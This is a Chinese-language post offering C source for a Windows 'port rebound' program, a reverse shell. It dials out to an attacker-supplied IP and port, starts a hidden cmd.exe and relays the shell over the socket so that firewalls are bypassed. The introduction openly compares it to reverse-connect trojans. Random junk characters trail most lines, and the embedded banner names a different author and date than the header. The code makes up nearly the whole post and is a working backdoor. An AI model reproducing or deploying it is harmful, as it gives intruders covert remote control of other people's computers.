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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JprZ6 >  
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/* ============================== FT=w`NE,+  
Rebound port in Windows NT "<kmiK/  
By wind,2006/7 xv /w %  
===============================*/ j1g^Q$B>m  
#include btee;3`  
#include .DT1Jvl  
p B )nQ5l'  
#pragma comment(lib,"wsock32.lib") o] = &  
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void OutputShell(); K[sfsWQ.  
SOCKET sClient; y- g5`@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &u8BGMl2  
<yeG0`}t  
void main(int argc,char **argv) Eh JYdO[e  
{ YoXXelO&  
WSADATA stWsaData; 0 {w?u%'  
int nRet; t4nAy)I)P  
SOCKADDR_IN stSaiClient,stSaiServer; 1w35 H9\g  
E*[X\70  
if(argc != 3) B1Xn <Wv  
{ H>VuUH|  
printf("Useage:\n\rRebound DestIP DestPort\n"); S\Q/ "Y  
return; G.9?ApG9  
} @]~\H-8  
"# JRw  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;i1H {hB  
:.@gd7T  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )@Ly{cw   
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stSaiClient.sin_family = AF_INET; CFVe0!\  
stSaiClient.sin_port = htons(0); &a O3N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zl]\sJ1"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #Ez>]`]TB  
{ ms<?BgCSz  
printf("Bind Socket Failed!\n"); z"R-Sme  
return; q[r|p"TGov  
} ^>[Z~G($  
RXh/[t+  
stSaiServer.sin_family = AF_INET; bA1uh]oB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <V9L AWeS  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9Y~A2C  
<s  $~h  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d!8`}L:=M  
{ o XA*K.X<  
printf("Connect Error!"); U$qSMkj6RK  
return; 7kHEY5s "  
} B;L~ hM  
OutputShell(); Qb6s]QZEV  
} ,xNuc$8Jd  
p1CY?K  
void OutputShell() ?DA,]aa-  
{ OLlNCb#t  
char szBuff[1024]; HA>b'lqBM  
SECURITY_ATTRIBUTES stSecurityAttributes; lQldW|S>  
OSVERSIONINFO stOsversionInfo; oC"c%e8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *l^h;RSx  
STARTUPINFO stStartupInfo; <$_B J2Z  
char *szShell; ]7Tjt A.\q  
PROCESS_INFORMATION stProcessInformation; uEH&]M>d_  
unsigned long lBytesRead; ,qyH B2v  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eQNo'cz  
rm<(6zY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e!Y:UB2 7u  
stSecurityAttributes.lpSecurityDescriptor = 0; o`7Bvh2  
stSecurityAttributes.bInheritHandle = TRUE; //Ck1cI#h  
Ar N*9  
6I"Q9(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8v_HIx0xu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \_qiUvPf\  
tGe|@.!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g!i\ AMG?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 94LFElE3  
stStartupInfo.wShowWindow = SW_HIDE; '*|Wi}0R  
stStartupInfo.hStdInput = hReadPipe; 4l560Fb'U  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L@XhgQ  
b&. o9PV"  
GetVersionEx(&stOsversionInfo); /X {:~*.z  
6MqJy6  
switch(stOsversionInfo.dwPlatformId) \|RP-8  
{ LS*^TA(I[  
case 1: E$T)N U\  
szShell = "command.com"; Op A  
break; q3#07o_dV  
default: CQ9B;i`  
szShell = "cmd.exe"; XzIhFX6  
break; G BV]7.  
} \E5%.KR  
TeSF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |/5j0  
f =B)jYI  
send(sClient,szMsg,77,0); |]w0ytL>(2  
while(1) {=VauF  
{ :%~+&qS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -$!`8[fM  
if(lBytesRead) ayTEQS  
{ R&PQU/t)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4Bsx[~ u&  
send(sClient,szBuff,lBytesRead,0); 8xW_N"P.>  
} Tl6%z9rY@  
else FhVi|V a  
{ "hdc B 0  
lBytesRead=recv(sClient,szBuff,1024,0); e/'d0Gb-  
if(lBytesRead<=0) break; h/W@R_Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wz3BtCx  
} Ox#%Dm2  
} ^&>(_I\w.6  
UEbRg =6  
return; RBd{1on  
}
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